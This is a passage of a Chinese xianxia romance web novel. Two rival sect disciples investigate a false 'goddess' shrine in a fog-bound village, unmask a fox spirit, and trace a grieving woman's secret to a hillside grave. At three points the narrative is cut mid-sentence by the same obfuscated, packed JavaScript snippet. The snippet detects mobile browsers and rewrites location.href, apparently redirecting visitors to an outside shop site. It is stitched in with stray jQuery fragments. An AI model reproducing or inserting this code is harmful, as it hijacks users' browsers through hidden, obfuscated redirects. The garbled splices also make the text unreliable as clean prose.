他又道:“姜师妹,你说句话,不然我只能认为你和宿舟在做戏,你不怕我把这事宣扬出去?” 姜鱼:…… 你的脑回路也很清奇,为什么只能想到我在帮他,起码也想想他是不是在威胁我吧? 她不说话,林风越发趾高气昂:“姜师妹,你何不想想,你帮宿舟隐瞒这事说出去,以后宗内还有谁会信你?你和宿舟原来站在一边的,这不是欺骗大家的感情?” 姜鱼:谁和他一边的! “姜鱼,你真不怕我说出去吗!” 姜鱼:你说了谁会信呀! 她有话说不出,心里疯狂吐槽——破系统,让她说句话怎么了? 林风啧啧两声,“你竟然为了宿舟,做到这个地步。” 姜鱼:她做啥了? 一旁宿舟听到这话,眼神微沉,上前一步,挡在姜鱼身前,“你有话不妨问我。” 姜鱼:? 林风:“宿师弟,你是否有什么隐疾,不妨说出来,让师兄也关心关心你。” 宿舟:“没有。方才追踪血鸦,不慎踩到了林中的兽夹而已。” “当真?” “你不信?”他脊背挺直,提起剑,“不知师兄可有胆子接我一剑,亲自验证。” “你……” 就这片刻间,他的脸色已好了不少,提剑的手很稳,仿佛刚才的虚弱只是错觉,林风一时犹豫了,他可不想跟宿舟动真格的,根本讨不了好处。 视线在两人身上转了一圈,他敢肯定——这两人绝对有猫腻! 只要给他时间,他一定会将这秘密挖出来。 气氛僵持时,他忽然展颜一笑,“师弟说笑,既然你没事,那我先走了。” 说完又回头道,“你们也别耽误太久,于师兄还在等你们汇合。” 他的背影消失在来路,姜鱼忍不住道:“阴阳怪气。” 说完愣了一下,她能说话了? 反应过来后,注意到旁边有一道灼热的视线,是宿舟一直在看着她。 “你看什么?” “为什么不说?” 为什么? 当然是因为她选错了! 这种丢人的事,她是绝对不会说的。 “我乐意,你管不着。” “……” 说完要走,忽听宿舟咳了一声。 回头看,他一个踉跄,剑再一次杵在地上,勉强站稳了,几缕长发垂到颊边,眉眼都笼上了一层湿润的雨色。 原来刚才面对林风只是强撑,这会儿支撑不住了。 姜鱼看他这样,又不禁怀疑娘说的话是不是真的,什么剑修的生死一剑,他真的还使得出来吗? 早知道刚才就应该试探一下…… 回头一看,半个机关球在身后漂浮,这东西不知什么时候跟过来,这下想试探也不行了。 转念又想,他在剑骨有伤的情况下,竟然还能和自己互有输赢,等以后他治好了……那也赢不了她。 姜鱼有些不服气,回头道:“你赶紧想办法治好,光明正大的对决,我也不会输!” 这话落在宿舟耳中,完全变了味。 她这是……关心吗? 他看着姜鱼离开背影,握剑的指节缓缓收紧,眼前浮现过往回忆,刚入峰那时,一次发作过后,他躺在地上喘气,师尊给他喂了一颗丹药,冷声叮嘱:“这件事,不能告诉任何人。” “徒儿明白。” 他清楚地知道,弱点被人拿捏,一定会下场凄惨。 “不过——”西江月道,“倘若有一天,有人知道了这事,还愿意维护你。那她对你,或许称得上真心相待。” 姜鱼对他……到底是怎么想的? …… 五人小队处理完了村外的血鸦群,汇合后一同进村。 几人的到来不出意外的引起了轰动,从踏进村的第一步,便有许多村民凑过来围观,尤其是对姜鱼。 甚至有人当场跪拜,喊着:“神女、神女显灵了!” 直到村长匆匆赶来,才将围着不散的村民劝走了,将几人引到屋内说话。 双方互相了解了一番情况,村长道:“原来几位是天剑宗来的仙长,失敬、失敬。” 说话间,他还是一直在看姜鱼,几次欲言又止,还是没忍住问:“这位仙子,您真的不是……神、神女吗?” “不是。”姜鱼挑眉:“倒是我想问,你们供奉的神女,是哪路神仙?你们怎知她长什么样?” “这……” “是我梦到的。” 村长言语犹豫,有人推门而入,回答道。 “阿牛,你怎么来了?” “你是?” “哦,这是我儿子,曾牛。” 这少年长得高高壮壮,浓眉圆眼,相貌憨厚老实,说话声音也粗壮,“开春那阵,我做了个梦,梦到神女降临,她亲口跟我说,她想在村中栖身,庇佑村民。” 候选几人都不禁怀疑地盯着村长,“就因为你儿子做了个梦,你就做主让村民都供奉这位不知名的‘神女’?” 村长连忙解释,“各位不知,阿牛做了梦的第二天,院子里就长出了一朵奇花,芳香四溢,我一看,这不是神女有灵?赶紧请人塑了像供奉神女,这一年村中风调雨顺,也就是最近才出了怪事,都是因为得罪了神女啊……还请几位帮帮忙,平息神女怒火,还村里安宁。” “那你们又是怎么得罪了这位神女?” “唉,都怪张家女儿,要不是她砸神女庙,咱们哪有这无妄之灾?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16611326|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村长絮絮叨叨把事情说了一遍,据说张氏女儿春燕原本和王家书生定了亲,两家约定,等书生去县里赶考回来就结婚,临行前,春燕在神女庙为书生求平安,可没过几天,就传来书生渡河不慎淹死的消息,春燕心怀愤恨,砸了神女庙的供桌,后来村中就开始出事了。 “都出了什么事?” “陆续有几家女儿失踪,还有人说在村里看到了妖物……接着,村子外忽然起了大雾,大家都出不去了。” 据村长所说,怪事是从这个月开始发生的,也就是春燕砸了供桌之后,一共有三户人家,丢了四个女子,一开始他也组织村民四下找过,可是一无所获,他又跑了趟郡里,请官差来调查,结果也没查出什么,渐渐就有流言说是神女降怒了…… 三天前起了怪雾,村民人心惶惶,幸亏如今是秋冬,家家户户都囤有冬粮,还不至于因此饿死。 不过,如今村中并没有起什么大乱子,似乎大家都相信,只要神女的怒火平息,一切都会恢复如常。 “那位春燕,如今在哪?” “在柴房。”曾牛瓮声瓮气回答。 “你们把她关起来了?” “唉,这丫头也是倔。”村长道,“让她给神女磕头认个错,她怎么都不肯,现在村里人人都恨她,我也是没办法……” 村长一番长吁短叹,众人提出要见春燕,他自然同意,“要是各位仙长能说服她,就再好不过了。” 几人来到柴房,只觉冷风嗖嗖直冒。 秋末冬初的天气,一阵阵湿冷,骨头缝里往外透着冷,这种天气被关在柴房里,想也知道不好受。 推开老旧木板门,半堆着杂物的屋子里,一个瘦弱女子趴在地上,她头发凌乱,身上的短袄沾了不少灰尘,看起来已经被关了不少时日。 对于几人到来,她的眼神透着防备,在看到姜鱼时,瞬间转为怨恨,嘴里喊着,“还王郎命来!”人已扑了上来。 其他几人皆是一愣,没想到她反应这么激烈,倒是姜鱼有了心理准备,抬手一道灵气就将她震了回去。 “神女——”春燕趴在地上,眼里熬着血丝,质问,“为什么欺骗我?” “我不是。” 然而春燕情绪激动,无法平复,几人商量之下,决定让姜鱼先出去,由他们来问话,姜鱼叹了口气,关上门出去了。 柴房外拴着一条黄狗,估计是怕人跑了,姜鱼蹲下身,逗了逗狗子,门嘎吱一声又开了。 抬头一看,宿舟一步跨过门槛,也出来了。 “你出来干嘛?” “没什么想问的。”边说边垂着眼看她。 “哦。” 姜鱼揉着软软的狗耳朵,见他脸上有了血色,行动也恢复如常,随口问,“你这就好了?” “发作那阵有些难受,过去就没事了。” “每次下雨都会发作?” “不是。” “有规律?” “看运气。” 看来这两次是比较倒霉,所以连着发作?她听着里面的动静,又问,“对于神女,你有什么想法?” “不喜欢。” 不喜欢? 这个说法怪怪的,至今小溪村的谜团都围绕着“神女像”,他不应该说说更具体的想法? “为何?” “不喜欢有人冒充你。”他淡声回答。 20.第 20 章 姜鱼愣了一下,不知他这话什么意思,宿舟已经接着说下去,“梦到神女这种说法,十分可疑。” “你怀疑他们父子?” “他们确实值得怀疑,还有另有一件事值得在意。” “什么?” “进村以来,你察觉到魔气了吗?” “没有。”姜鱼松开黄狗,一手托着腮,“这点确实有些怪,村长父子身上也没有魔气。” 洛雨事件时,在她身上察觉不到魔气,是因为她的魔种还没催发,但这是天骄榜的任务,不可能这么简单。 她伸出两根手指,“两种可能。第一,有人故弄玄虚,第二,此魔非常厉害,能制造诡雾,还能隐藏魔气,不被我们发现。” 宿舟的目光落在她的手指上,素白纤细,玉质纤纤,片刻后才收回目光。 “第二种。” “也可能两者都有。”姜鱼道。 “你是说,他们父子跟魔物一伙?” “现在还不确定,需要调查。” 说话间,于照三人出来了,他们问了春燕,她为何这么恨神女,春燕说,她为书生求平安那夜,神女给她托梦,说她的愿望一定会实现,结果又过两天就传来书生的死讯,她觉得自己被骗了,才会去神女庙砸东西。 “神女托梦?” “是啊。”芸晚道,“又是托梦,这神女管的还挺宽。” “她还说了别的吗?” 芸晚摇了摇头,“不过……总觉得她还有些话没说,提起那书生,她支支吾吾,看似有些紧张。” 于照道,“估计也问不出什么了,稍后我跟村长说,让他先把人放了。” 他往门后看了一眼,眼神暗示。 姜鱼立刻就懂了,师兄这是打算先让人回家,再跟踪她,看她有何异常。 姜鱼冲他比了个大拇指:师兄干得漂亮。 于照眼神无奈又纵容,笑着摇了摇头。 走出小院,正值中午,天依然灰蒙蒙的,芸晚抬头看了一眼天色,忽然停住脚步,“黑雾,雾又回来了!” 几人抬头,见天边涌起一层黑雾,原本阴沉的天色更暗了几分,很快,那层雾气又罩在了小溪村上方,村民们纷纷跑出来围观,对着黑雾指指点点。 姜鱼道:“果然……” “小鱼,这是怎么回事?” “我们从外围破阵,并没有破坏阵枢核心,只要阵枢还在,这些雾就能一直生成。” “阵枢在哪?” “于师兄猜呢?” “想必藏在隐蔽之处” “魔物老巢。”宿舟回答。 于照惊讶,“师弟竟然会搭理我们了。” 宿舟:…… 芸晚笑道:“宿师弟虽然话少了些,也没有这么夸张吧?” 于照也笑了,表示只是开个玩笑活跃下气氛。 “看来只有彻底解开此地的秘密,我们才能顺利离开了。”他安排起来,“走吧,去找村长。” 几人找到村长,劝他先放了春燕,总归如今被困在村中,大家都出不去,村长犹豫着同意了,又道:“各位的住处都安排好了,在村中诸事都可自便,只有一件事——各位仙长,请勿靠近神女庙。” “问题就出在神女庙,你不让我们靠近,问题还怎么解决?” “这……”村长道,“各位多劝劝春燕,只要她低头,事情就解决了嘛。” 几人暗自交换眼神,村长这是心里有鬼,还是不信任他们,怕他们又得罪了神女,把事情变得更糟? 但他们想去神女庙,多的是手段,不需要村长许可,村民也拦不住,于照一口答应下来。 离开村长住处,几人商量分工,芸晚主动提出,想去盯着春燕。 于照道:“我负责盯着村长父子,看他们今夜有何行动。” 两人说完,能做的事只剩下两件:跟村民打探消息和夜探神女庙。不管怎么看,后者都更危险,夜里行动,有可能直接撞上那个实力莫测的魔物。 于照刚想说话,姜鱼和宿舟同时开口了—— “我去神女庙。” “我去神女庙。” 说完,两人对视一眼。 于照道:“夜闯可能有危险,不如等明日汇合后再一起去——” 姜鱼道:“只是查探情况,发现不对劲就撤,不会有事的。” 于照想说,那你们两彼此照应,转念一想,这两人不互相扯后腿就不错了,叮嘱道,“有什么事千万别斗气,回来再说。” 林风怪笑一声:“师兄,你这是多余操心,说不定人家私下关系好着呢。” 姜鱼立刻道:“对啊,关系好,气死你。” 林风笑不出来了。 于照:“好了,别开玩笑了,记得小心行事。” 姜鱼:就说了,哪怕她亲口说和宿舟关系好,压根没人会信。 一回头看到宿舟眼神复杂,惊讶:“你不会信了吧?” 宿舟:…… 入了夜,浓雾掩月,姜鱼和宿舟悄然来到了神女庙。 听说这庙是村民们凑钱修的,村长家出了大头,村中财力有限,庙修得很小,就建在村西口,庙门上了锁,外面堆了一圈棘刺环绕物,防止人进去。 姜鱼灵巧越过了那圈刺,稳稳落在门前,正好宿舟也从一旁树上跃下,两人在庙门前对视,四下万籁俱寂,星月尽隐,安静得能听到彼此的心跳声。 这场面,不知为何有些既视感,就像是……在偷情。 呸。 姜鱼果断晃了晃脑袋,把这个诡异的念头甩出去,指了指庙门上的锁。 宿舟挑了挑眉,眼神分明在说:这种事情不是你最擅长的? 姜鱼:哪种事情? 他用口型道:耍小聪明。 姜鱼皱了皱鼻子,表示哼声,回答他:不会就别叫。 宿舟:…… 他骈起双指,一道剑气划过,铜锁应声被斩成两段,砸在地上发出铛一声响。 姜鱼瞪大眼睛:叫你撬锁,没叫你砸锁,等下还怎么复原? 宿舟:有必要? 他反手推开了庙门,一股尘灰味扑鼻而来,姜鱼忍不住打了个喷嚏。 庙内静悄悄的,没有任何动静。 他们同时展开感知,没有察觉到魔气,倒有一丝若有似无的妖气。 两人交换眼神,默契装作毫无察觉,走进庙中,掩上了庙门。 姜鱼从储物戒掏出灯盏,一团暖黄照亮了庙内,宿舟瞥了一眼,那盏琉璃提灯做成小鱼形状,装饰精致。她对鱼有特别的爱好,光是宿舟见过的就有不少,以前他从不在意,现在却觉得,确实很适合她。 庙内空间不大,灯光一照一览无余,正中是神女雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617605|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像,前面摆着供桌,桌上摆着几碟干果,一个花瓶,桌下摆着两个半旧的蒲团。 花瓶中插着一朵粉花,花型十分特殊,乍一看像是两个拥抱在一起的人形,仔细看是花瓣叠在了一起。 “这就是村长院子里的花?”姜鱼小声说。 “应该是。” 村长说过,那朵花也被他们供奉在庙里,花开了百日不败,被村民称为神迹。 “这是什么花?”他问姜鱼。 “没见过。” 她凑上前闻了闻,一股清幽的香味萦绕鼻端,倒不难闻,再抬起头,正好和上方的神女像对视上了。 这尊神像泥塑彩绘,光线不亮,细节显得模糊,从这个角度,只觉得神女的眼瞳格外黑,如一汪深潭,深不见底。 她看了一会儿,只觉恍惚。 再注意到神像的脸,真和自己十分相似,原以为村民是夸大,没想到真的像到这种地步。 她越看越觉得有些渗人,下意识后退一步。这一退想起后面就站着宿舟,脚步又收了回来。 回头一看,对方的衣袖似晃动了一下,姜鱼并未注意,只想着问:“你觉得像吗?” 知道她问的是神像,他回答,“不像。” “哪里不像?”姜鱼问。 “神态。” 神态? 她仔细观察,神像半垂着眼眸,表情慈和,和庙里常见的塑像很像,嘴角微微往上提,似微笑的弧度,但笑得有些假,看久了便生出一种虚伪感。 她试着模仿了一下,笑肌抽了抽,脸都僵了,很不习惯,确实她从未做过这种表情。 “你观察还挺细致。”她道,“你觉得,塑像的到底是什么人?” “见过你的人。” “这不是废话?”姜鱼道,“问题是塑像的目的是什么?难道是我的仇人?” “恨你的人会为你塑像?” “起码没盼着我好呀。” 她现在在小溪村,都快变成全村公敌了。 宿舟摇了摇头,似乎不认同。 “你之前来时,真没接触过什么人?” “没有啊。”她一脸无辜,“说了就是路过,跟我爹买了几斤笋就走了,就连卖笋的大叔,我都没搭上话。” “不正常。” “哪里不正常?” “以你的习惯,不该跟人家套套近乎,让他多送你点笋?” “……” 想是这么想的,但当时她牙疼,所以没说话。 她忍不住斜睨宿舟一眼,暖光近距离照着他,连他脸上的绒毛都清晰可见,好看得叫人无语的一张脸,这家伙竟然这么了解她,真叫她不爽。 刚挪开灯,耳边传来一声轻微响动,像是什么东西轻轻划了一下木板。 姜鱼寒毛一下竖起来了,“你有没有听见……” “什么?” “声音,你没听到吗?” 她回过身,强调了一句,却见宿舟看着她出神,眼睛似定住了一般。 “怎么了?” “你……” 在宿舟视线内,他看到姜鱼发顶,忽然冒出了两只毛绒绒的尖耳朵,随着她的动作,耳朵灵活地转了转。 “宿行云?” 她微微歪头,耳朵尖尖抖了抖。 宿舟下意识收紧指节,喉结悄然滚动了一下。 21.第 21 章 姜鱼打量着宿舟,只觉得他反应奇怪。 “你看见鬼啦?” “……没。” 他强迫自己不要注意对方转来转去的可爱耳朵,视线看向一旁,“先找找可疑之处。” “急什么,我们可以先聊聊。” “你想聊什么?” “就聊聊……你心里的想法吧。” “你知道我在想什么?” “知道啊。” 她看着宿舟,眼睛眨了眨,灯光映照下,瞳孔泛起淡淡紫色,连五官也有些模糊,只有一对尖耳朵异常清晰。 灯笼的光晕成一团,晃得空间似乎都跟着扭曲了。密闭的神女庙内,空气仿佛稀薄了不少,宿舟的呼吸渐渐沉重。 姜鱼凑到他面前,小刷子似的睫毛眨了眨,低声问,“宿行云,其实……你喜欢我吧?” 轻扬的尾音像是带了钩子,钩得人心里起了一层痒意。 突如其来的话,让宿舟浑身一僵。很快,他那两道锐利的剑眉蹙了起来,“少说胡话。” “喜欢一个人,动作是骗不了人的。”她眼波流转,语气笃定,“你一直在很关注我,我做什么都你很在意,这不是喜欢是什么?” “那是因为你小动作太多。”他道,“不盯紧你,等着被你算计?” “是吗?” “你还很了解我,知道我的一些习惯。” “成天在眼前晃,想不了解都难。”他的语气甚至带着几分嫌弃。 “嗯……”姜鱼素白的手抵在下巴上,轻轻咬了咬嘴唇,在嫣红唇瓣上留下一道印痕,“让我再看看——” “看?” “有了!”她眼睛一亮,“你和我喝过交杯酒,这不是喜欢是什么?” “幻境中的权宜之计,怎能当真?” “啧啧。”她轻啧两声,绕着宿舟的左手转了个圈,到了他右手边,“所以我说,人永远也骗不了自己的心。” 她的手指在空中虚点两下,对着他的心口。 “如果不是喜欢,你怎么会每个问题都答得这么快?因为……你早就在心里欺骗过自己一遍了。” “……” 她往前一步,指尖就要触到对方的心脏,宿舟后退一步,冷声道,“言辞狡诈,蛊惑人心。” “可你一直在看着我啊。”她眼睛轻眨,摸摸自己的脸颊,“你很喜欢这张脸吧?” “你想多了。” 她一个旋身,在蒲团上坐下,一条毛绒绒的蓬松大尾巴从她背后伸出,在地上扫来扫去,头顶着两只尖尖耳朵,眼神柔软又缠绵。 “你过来,坐下,我们慢慢聊。” 说着,冲他勾了勾手指。 等了半天,也不见对方反应,她又起身去拉宿舟的手,“过来嘛——” 话音落,一道白光从眼前闪过,她惨叫一声,手上飚出一串鲜血,两根手指掉在了地上。 仔细一看,那不是人类的手指,而是带着尖锐爪子、长着绒毛的兽爪。 剧痛之下,面前的“姜鱼”维持不住人形,倒在蒲团上,身形蜷缩,渐渐变成了一只通体雪白的狐狸。 狐狸看着自己缺了两根的前爪,哀叫一声,刚想逃跑,一张符纸啪地一声,稳稳贴在了它额头上。 符纸泛起一阵金光,金丝灵线将狐狸全身缠住,把它五花大绑,彻底动弹不得。 姜鱼轻快的声音在身后响起:“抓到你了。” 狐妖:“嗷嗷嗷——” 姜鱼蹲下身,弹了一下它的脑瓜,“说人话。” “嗷!” “你们合起伙来欺负我!” “你在这装神弄鬼,还有脸说别人?” “嘤嘤,我是只善良的狐妖。”狐狸眼神委屈,蜷缩四肢躺在地上,“我只是想跟他开个玩笑……” 姜鱼抬头看向宿舟,“它刚才干嘛了?” 在她的视角,她只看到宿舟忽然站定不动,眼神发滞,就知道他中了妖术。 她一点也不担心,刚才进来时,她就察觉到了妖气,如果宿舟连这都没注意,被妖算计了,姜鱼只会鼓掌叫好。 宿舟闻言,侧眸看了她一眼,心绪微微起伏,很快又归于平静。 “看我干什么?” “少问。” “你不说,我还不想知道呢。” 狐妖刚想说话,忽然觉得爪子一凉,抬头就见宿舟握剑的手指动了动,它当即吓得屏住呼吸,不敢动弹。 刚才那道白光,就是他的剑气,快得它甚至没反应过来。 不就是用窥心术看了一下他的内心,顺便调戏了他一下么?明明长得这么好看,动起手来竟然这么狠…… 狐妖的窥心术来自家传,从来不出错,一定是被它说中了,这家伙才会恼羞成怒,对它动手。 宿舟的手按在剑柄上,冷眼看着狐狸,神色恢复淡定,他根本不信狐狸的话,也不会因为狐妖几句话,就乱了道心。 他对姜鱼或许有误解,但肯定谈不上喜欢。 姜鱼蹲着捏了捏狐狸耳朵,“说说吧,那魔物藏在哪?” “什、什么魔物?” “不说实话?” “嗷嗷嗷!”被她猛地扯了一下耳朵,狐妖杀猪般嚎叫起来,“轻点、姑奶奶,您轻点啊,放过我的耳朵吧……” 这两人一个剁它的爪子,一个揪它的耳朵,狠毒如出一辙,难怪能凑到一起呢! 狐妖两眼泪汪汪道:“我真的不知道什么魔物啊……” “那你藏匿此处干什么?” “我们妖狐族世世代代都住在小溪村附近的山上,跟外面那些恶妖不一样,我们从不害人,吸收日月精华修炼……最近几日,村外不知从哪来了一团怪雾,这对我们妖族来说可是大补之物,我一时好奇,才跑过来看看。” 它被符纸禁锢动弹不得,勉强将两只前爪凑在一起作揖状,“我说的都是真的,两位大人,饶过我这回吧,我真的知道错了。” 姜鱼想了想,又问:“你在这几天了?” “两天。” “除了我们,你可还见过其他人?” 狐妖摇了摇头。 “你真没见过魔?”姜鱼道,“诡雾降临,强大魔族出现,你这样的小妖,不该拜在其麾下,做个狗腿子马前卒?” 狐妖身体一僵,赔笑道:“姑奶奶您说笑了,什么魔,我真的没见过啊。” 姜鱼打量它半晌,“好吧。” 狐妖一喜:“你们愿意放过我了?” “既然你不说,只好先把你关起来慢慢折磨了。” “?” “¥#%%¥!” 什么正道仙士,你才是魔吧!! 被姜鱼塞进捉妖袋中,狐狸流下了宽面条泪,早知如此,它就不招惹这两人了。 它在捉妖袋中挣扎了一番,发现根本出不去,气得狠狠挠了挠地板,眼珠一转, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627057|185027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情阴狠起来—— 真以为它是什么省油的灯,等晚上月正时分,那东西发作,他们一定会倒霉。 它就等着看好戏了,嘿嘿。 …… 收拾了狐妖,两人又在庙里找了一圈,没发现什么端倪,只得离开,出门时才发现天已经亮了。 黑雾笼罩在小溪村上空,白天光线也比平常昏暗,不过—— “你觉不觉得,雾变薄了?” “范围变大了。”宿舟道。 她仔细观察了一下,还真是,原本罩着村外的雾,扩散到了附近山头。她不由皱眉,如果雾气笼罩范围继续扩大,附近的妖物恐怕都要被吸引过来。 这样一来,留给他们的时间更紧张了。 两人赶到春燕家附近,其他三人也都到齐了,大家聚在一起交换情报。 芸晚率先开口,“春燕昨夜偷偷出去了。” “去哪了?” “后山,她带了些纸钱香烛出门。” “去祭拜那书生了?”姜鱼问。 “她确实祭拜了……”芸晚道,“但奇怪的是,她没去书生的坟头,而是在离坟不远的山坡附近,烧了些纸钱就回来了。” “去祭拜,却不去坟头?” “我想,她是不是怕触景生情?” “若是如此,她可以不去。”姜鱼想了想,“而且哪有人深更半夜上山祭拜?” “说的也是。” 几人想了一番,想不出她这样做的理由,于照道:“昨夜村长父子早早睡下了,没有什么异常。” “……” “林师弟呢,都问到了什么?” 林风双手抱胸,视线现在姜鱼和宿舟身上转了一圈,才语调懒懒的说,“村里人都说,春燕有病。” “有什么病?” “说自从书生死后,她就变得神神叨叨,可能是精神失常了。有时一个人坐在院子里,自言自语不知说些什么,有时明明天都黑了,也不点灯,一个人摸黑在屋里待着。” “天黑不点灯?” “这些村民就是喜欢大惊小怪,可能她就是不想点灯呗。” 姜鱼陷入沉思。 林风说的不对,春燕身上肯定有秘密。她为何会表现得如此异常呢? 想了想道:“我想去书生的坟头看看。” 于照提议:“咱们一起去吧。” 姜鱼:“不是现在,我想等晚上再去。” “那现在——” “先进屋找春燕。” “你不怕她见了你就发狂?”林风质疑。 “她不会。” 她露出自信笑容,走进了院子里,其他人疑惑着跟了进去。 一进房间,春燕立刻变脸,姜鱼道:“我有办法证明我不是神女。” 春燕:? “你仔细看我。” 说着,她模仿神女像,努力装出那种似笑非笑的虚伪笑容。 春燕狐疑地盯着她,仔细看了半天,忽然身体一松,坐回椅子上,“你不是。” 众人都有些惊奇:这就行了? 笑一笑,就能让春燕放下戒心? “师妹,你怎么办到的?”于照忍不住问。 “有人给了我启发。” 她回头,对着后进来的宿舟挑了挑眉。 宿舟指节微蜷,一定是狐妖的妖术还在影响,不然,他怎么会觉得,姜鱼的眼睛这么好看? 22.第 22 章 姜鱼跟春燕闲聊几句,开口道:“我们打算去祭拜王书。” 春燕闻言,表情一僵,藏在袖中的手指收紧,“王郎生性喜静,几位还是不必去打扰了吧?” “你放心,为了不打扰亡人,我们打算夜里去。” 春燕刷一下站了起来。 “怎么了?” “没、没什么。”她的眼神不自在的往旁边乱飘。 等了片刻,见没人说话,她又忍不住问:“不能不去吗?” 语气带着几分祈求意味。 越是这样,越说明有问题。 姜鱼道:“你要是不放心,可以跟我们一起去。” “我——” “你想留下也行,晚上我让它陪着你。” 说着,她将捉妖袋拿出来,放在桌上,袋子咕噜噜滚了一圈,滚到春燕面前。 春燕愕然看着这袋子上面凸出的狐狸爪印,“这是?” “昨夜抓到的一只小妖,话很多,正好陪你解闷。” 袋子里传来狐妖闷闷的抗议声。 春燕愣了一会儿,道:“妖,不杀吗?” “暂时没发现这妖做了什么害人的事。”姜鱼道,“等查出来了,再处理不迟。” 狐妖听了,叽里咕噜不知在说些什么,春燕则因她一句话陷入沉思,只要没害过人,就不会有事? “你不会以为我们是什么杀人魔吧?” “……” 春燕犹豫片刻,道:“我留下。” 芸晚道:“我也留下陪你吧。” 她担心晚上春燕一个人留下会出事。 姜鱼隔着袋子戳了戳狐狸,“别惹事,不然我回来收拾你。” 狐妖嗷呜了一声。 竟然不带它一起去,晚上岂不是不能看好戏了? 几人正在屋里聊天,院外忽然传来叫骂声,“春燕,你给我出来!” “扫把星,滚出来!” “谁把你放回来的?!” 听见声音,春燕脸色骤然一白,一丝屈辱神色划过眼底。 出去一看,几个村民围在门口,正不断叫骂,为首的是一对中年夫妻,就属这两人堵在门口,骂得最凶。 “春燕,都怪你命里带煞,害死了我儿子!” “你赔我儿命来!” 听他们说话,姜鱼猜出对方身份,“你们是王书的爹娘?” 那夫妻见了他们,神色微顿,但想到他们是被害方,腰杆又挺起来,王父道:“春燕人呢?你们这些仙人,也要包庇害死我儿子的凶手吗?” 于照道:“你儿子不是失足落水吗?” 王母哭泣道:“要不是春燕克夫,我儿怎么会落水?都怪我瞎了眼,替他挑了这么个媳妇,才害死了他啊!” 王父也跟着说,“书儿从小无病无灾,碰上这个扫把星才开始倒霉,她不止害了书儿,还给全村惹祸,她该死!” 说着,狠狠朝院门啐了一口:“晦气东西!” 村民们也跟着指指点点,踏出房门的春燕听见这些话,脸上褪去血色,但她没有退回去,语气透着倔强:“我没有错,王郎不是我害死的。” “那神女呢?” 她咬了咬唇,“因为我的错,就惩罚整个村子,这样的神女,真的值得供奉吗?” 一句话炸了锅,村民们七嘴八舌,骂她不知悔改。 于照和他们理论了几句,但村民们这么多张嘴,他一个人根本说不过。 芸晚皱眉发愁,她也想不到什么好办法劝服村民。 林风道:“哪有那么麻烦,打一顿就老实了。” 芸晚忙道:“要是激起他们逆反,事情只会更麻烦。” “那你说什么怎么办?” “……” 正为难之际,姜鱼掏了掏耳朵,“都别吵了。” 众人齐刷刷看向她。 “你们真的以为,只要春燕认错,神女就会原谅你们吗?” “这……” 这话正中村民心中担忧,他们担心神女怒火难平,继续降下灾祸。 “现在认错已经不能解决问题了。”她摇了摇头,又叹了口气。 这口气叹得村民们心都慌了,“那该怎么办?” “现在只有一个办法——把神女找出来问问。” 众人一惊。 “找、找神女问?!” “我等修仙之人,自有沟通神仙的手段,等把神女真身请来,事情就解决了。你们要是还敢闹事,请不来神女,你们人人都有责任!” 村民们被她这番话唬得不轻,面面相觑,不敢说话,这口锅太大,谁都不敢背。 王家夫妻还有些不甘心,道:“可春燕——” 姜鱼冷下脸,“她是找到神女的重要一环,不然你们来代替?” 她脸上不带笑意,严肃冷静的模样,有些吓人。 夫妻两被她镇住,见讨不到便宜,灰溜溜的走了。 围着闹事的村民们也都散了,一场棘手的风波消弭于无形,芸晚松了口气,佩服道:“还是师妹有办法。” 春燕望向姜鱼,欲言又止,她确实不像庙里的神女,更像是自己一直盼望的,能救她于泥泞中的救星。 入了夜,四野俱寂。 姜鱼四人爬上了小溪村的后山,此山无名,村民死后一般就在葬在山上,从阴面上山,一路碰到了不少坟墓。 冬夜寂静,小路曲折向上,一路只有四人的脚步声。 约莫走了半个多时辰,他们到了书生的墓地,在两棵冷松树下立着一座新坟,几人站在坟前,山风从背后吹来,一阵萧索。 姜鱼看了看四周的地形,找到了芸晚说的缓坡,就在墓地附近,坡上还留着一些烧剩的纸灰,她捻起一些,凑近闻了闻。 “小鱼,有什么不对吗?” 他们都不明白姜鱼为何要晚上来这里,在一个死人身上,还能找到什么线索? “就是普通的纸灰。” 林风忍不住笑出声,笑她故弄玄虚。 姜鱼也不管他,拿出准备好的纸钱香烛,在原地点燃,从背后吹来的风,吹着香灰往斜上方飘去。 袅袅一缕青烟,拉得又细又长,仿佛被什么东西吸引。 “这是——” 于照察觉到不对,姜鱼已经追着那缕烟飘的方向去了,其他几人连忙跟上。 前方雾气影影绰绰,看不清远处,只见树影重重,鬼气森森,烟雾隐没处,一个狭小的山洞映入眼帘。 姜鱼刚要进去,身后有人拉了她一把。 回头一看,是宿舟。 “干嘛?” “我先进。” “休想。”姜鱼甩开他的手,一步就跨了进去——休想抢她功劳! 宿舟:…… 